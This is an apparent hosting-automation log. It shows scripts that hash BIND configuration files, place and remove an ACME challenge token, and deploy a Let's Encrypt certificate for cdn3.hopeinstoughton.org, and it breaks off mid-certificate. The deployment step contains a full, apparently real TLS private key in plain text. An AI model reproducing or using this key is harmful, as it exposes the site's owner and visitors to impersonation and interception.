2026-07-19 20:42:03: Establishing a connection
2026-07-19 20:42:03: 

PUT: /tmp/pkp409964

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-19 20:42:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp409964; rm /tmp/pkp409964'

2026-07-19 20:42:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-20 06:00:02: Establishing a connection
2026-07-20 06:00:04: Establishing a connection
2026-07-20 06:00:05: 

PUT: /tmp/pkp270242

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-20 06:00:05: 

chmod 755 /tmp/pkp270242; /tmp/pkp270242; rm /tmp/pkp270242

2026-07-20 06:00:06: 


1


2026-07-20 06:00:07: Establishing a connection
2026-07-20 06:00:08: 

PUT: /tmp/pkp325393

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > XvEUr-sOTb5ITZfQ1HA3W3O9uuwRSQYNudCK-cYZn8s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XvEUr-sOTb5ITZfQ1HA3W3O9uuwRSQYNudCK-cYZn8s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XvEUr-sOTb5ITZfQ1HA3W3O9uuwRSQYNudCK-cYZn8s


2026-07-20 06:00:09: 

chmod 755 /tmp/pkp325393; /tmp/pkp325393; rm /tmp/pkp325393

2026-07-20 06:00:09: 




2026-07-20 06:00:13: Establishing a connection
2026-07-20 06:00:14: 

PUT: /tmp/pkp568873

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm XvEUr-sOTb5ITZfQ1HA3W3O9uuwRSQYNudCK-cYZn8s


2026-07-20 06:00:14: 

chmod 755 /tmp/pkp568873; /tmp/pkp568873; rm /tmp/pkp568873

2026-07-20 06:00:15: 




2026-07-20 06:00:15: Establishing a connection
2026-07-20 06:00:16: 

PUT: /tmp/pkp431453

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0

cat > $temp_file <<'endmsg'
9c:56:20:1f:ee:ca:70:51:c0:c4:1c:97:26:05:d8:82

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBQEV0BwfwL2kyuqbvQdduI7OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzIwMDUwMTQyWhcNMjYxMDE4MDUwMTQxWjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQD07xxwpem+IT1amf/gWZ7aM0veOVsnzGjBue7J9UBXH/vKf+va
4Z7BLWc3mKSbSWqhoV8uFbOgQCojRd/IR7u0f/gjwNyQ+YH4qWx3Kcf+RHEWWQ0y
Hxf5KUTPJ3gvuU4t4qwfWX2qDuAKYKB8tBkzZCwxd9/ssKZEYxvktLtzuXxLUHmv
m+WubVVdGUvb9wDFU/n0UTYK8c/f4f7IhRCAMJit3m2et3+6+RY72xeVCLXA/AVR
ln4KMciGBf9ibe84684qdrhQlEqvWJH43IlA4jKdQE8bDZjrRC3HgW7hnQH8mR49
28bdSWzo7Ahw/HA3cjSdb2of/mIWyayDfFZpAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUxKR4EuiqAbj2+fXbikPDnuH70lgwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy83OS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ9+HE+sAAAE
AwBHMEUCICYSYZJalohXUw67e3VZU8R03Be+3RhlxxSznySo69cqAiEA+J/1WcCb
T/YKGfcXWqiSSwvr15PDWtJeKJvv7wTgIKwAfwAai51rD/6/gbR5OcbSMQqG1tEC
1PBG4hgsneNfXiYl7wAAAZ9+HFAvAAgAAAUAK5ln+AQDAEgwRgIhAInkBu9WUbNv
KuwUJd0fA7dQ6RwJg6Qr2kP9VPK6WmFHAiEAvxsqu6SPN4vSRVvQL7ijP4bKbqEp
GAlaH4zq5XHjcUAwDQYJKoZIhvcNAQELBQADggEBAJwIE7hsnZCyUy2RJ7ZSRqyc
zIS+QO742pdXtq5r3turMn5y9hCcKw8jJC8kApgSKaM6/UXSjEUbX4Zp6xElZSWs
l1gOUn5TIqRZVVidJGjEgVAeQ5Hfno9Zt+KKHvlDQR5KGwywnnOcS4G8Fz75yvay
0hDM0Pi3wmWnwLmMajBNSwiN4riCC8CduSHA5T7CHomOB/DqyZ+1mlWDO3i5RpxB
NJfiEvHtbQN0R5vRliVa7U1sIHgBYvH+0Uv9Aslg8GdK+SWVQw6PTenOPYuPGCiK
rwL7tLpNRM56XpMVS8T95aFS6ZJ3Ko6bDmUxG49MOZ3Rin9yzxbqBF+fyrRigQ4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQD07xxwpem+IT1a
mf/gWZ7aM0veOVsnzGjBue7J9UBXH/vKf+va4Z7BLWc3mKSbSWqhoV8uFbOgQCoj
Rd/IR7u0f/gjwNyQ+YH4qWx3Kcf+RHEWWQ0yHxf5KUTPJ3gvuU4t4qwfWX2qDuAK
YKB8tBkzZCwxd9/ssKZEYxvktLtzuXxLUHmvm+WubVVdGUvb9wDFU/n0UTYK8c/f
4f7IhRCAMJit3m2et3+6+RY72xeVCLXA/AVRln4KMciGBf9ibe84684qdrhQlEqv
WJH43IlA4jKdQE8bDZjrRC3HgW7hnQH8mR4928bdSWzo7Ahw/HA3cjSdb2of/mIW
yayDfFZpAgMBAAECggEAAT+tVVExOoIMoCdAF9aZIdtoV/0Snwayo4c1RZQRpIgS
Fm+Vxh9HmgxHVhAaCb0jdSi/lZpweKEPHfArooekGDjdTOBdN4OAI0KI3igpP/19
Fpw0XiSssH1if4xf111yXbdFwaCpDHqIL6FbvBsGdF2+wG9QJdKmPFvFfwJhYMcH
IqhLKqCBacVRO5hw6shJCLQRryDk9IsysBki6SRpt2hc/QCKBYbn2POaA+cDm1u+
kKoWJBjmjmfIf40CCqxAQckJt/IUSNT5EaGXjYQ7IyM7+ib5rNnqChdnaX5+tEz6
AGCGsbgz88uf8ZsACciCWfFlap/588TH5rysycTasQKBgQD8RqQZAiLRGyw+Tdaz
tjpwnIanoCV2mLMaKQO34jE3hgou6MeTFmxwVfAoLLATK3RLEY8+EaAv4SFf2N6m
/3RJgaGX0zCxS6zKP6qlc/R+mxJKy2enc1RBZdFDtZMuJhDS+QjBAcNm8La0KOD7
vYwqWcqC/KC4daUYHkhEzrJc2QKBgQD4jLmJoiLCMNCmf3fVjtXkWiRGA6lu2myA
z//i5CoB6edIcsy1IWS6RDlSCu57XSXDJzdLd3pzFe/TA+s5mdH0ms+e12FvABwo
JmLLAurMBHAkDUL/tRBKlnGqpqQRk9reY8tOM6Z3GjKTB+pgefBQPvY9P5Wmdr2H
QF9KcVoMEQKBgQDmHnXvjgA+aB/6kTxI3+/86vr1iuLBhNbTBRisMrscX7uIQLRT
2n9+FRYlP2Y5hkjldRYJ00AgjKbJ7GRlRt5HcuT5Ph7LizEJp/u8QsKCfme4LETX
/R6dLQgvUED6NqTgHWQ70qTwkKDIRAW9/JAPzaopw9HDkSTQlEbt5PHUOQKBgDod
zZRdEPuPJnqH+6E30NOgMDMe0BNXh19nQ1HuP9RKuQW7shn4QPE82ppQbAr0cMv8
83T17u/SBU218N57FRi4yis9+U5XHD5XG2qUuAoUT5RedXgNAk4ud02LwXlKtTai
5vrWIOpgecrfYvJEEOjyj+kqYPeXdCGX77AcaQ3BAoGBAJJZRRA+5QJQl80TzdNo
HsZ8fSMTCktCfv4S9eTwGdiJQ52h5tBdmktZ/JL2HzglIey5bXsNSp5jKPdYKm6A
N7pHzwmJg/y0h/BrnYLYj+AYpe62I9itx9fuk8A89z9JNB84iHe8XI/wvWvdgEHX
3gK1Pp8pEJen/HbvV9YeaPPT
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
